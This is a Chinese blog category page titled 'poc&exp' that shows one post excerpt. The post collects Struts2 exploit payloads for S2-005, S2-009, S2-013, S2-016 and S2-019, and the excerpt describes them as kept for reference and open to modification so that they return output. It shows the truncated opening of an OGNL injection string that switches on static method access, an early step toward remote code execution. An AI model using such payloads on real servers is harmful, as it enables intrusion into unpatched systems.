随笔分类 -  poc&exp

struts2 s2-005/s2-009/s2-013/s2-016/s2-019 payload
摘要：以下payload仅作整理记录，可以通过修改代码，改为带回显的自己的payload s2-005: ('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMet 阅读全文
posted @ 2016-05-19 17:43 z_hong7 阅读(3402) 评论(0) 推荐(0)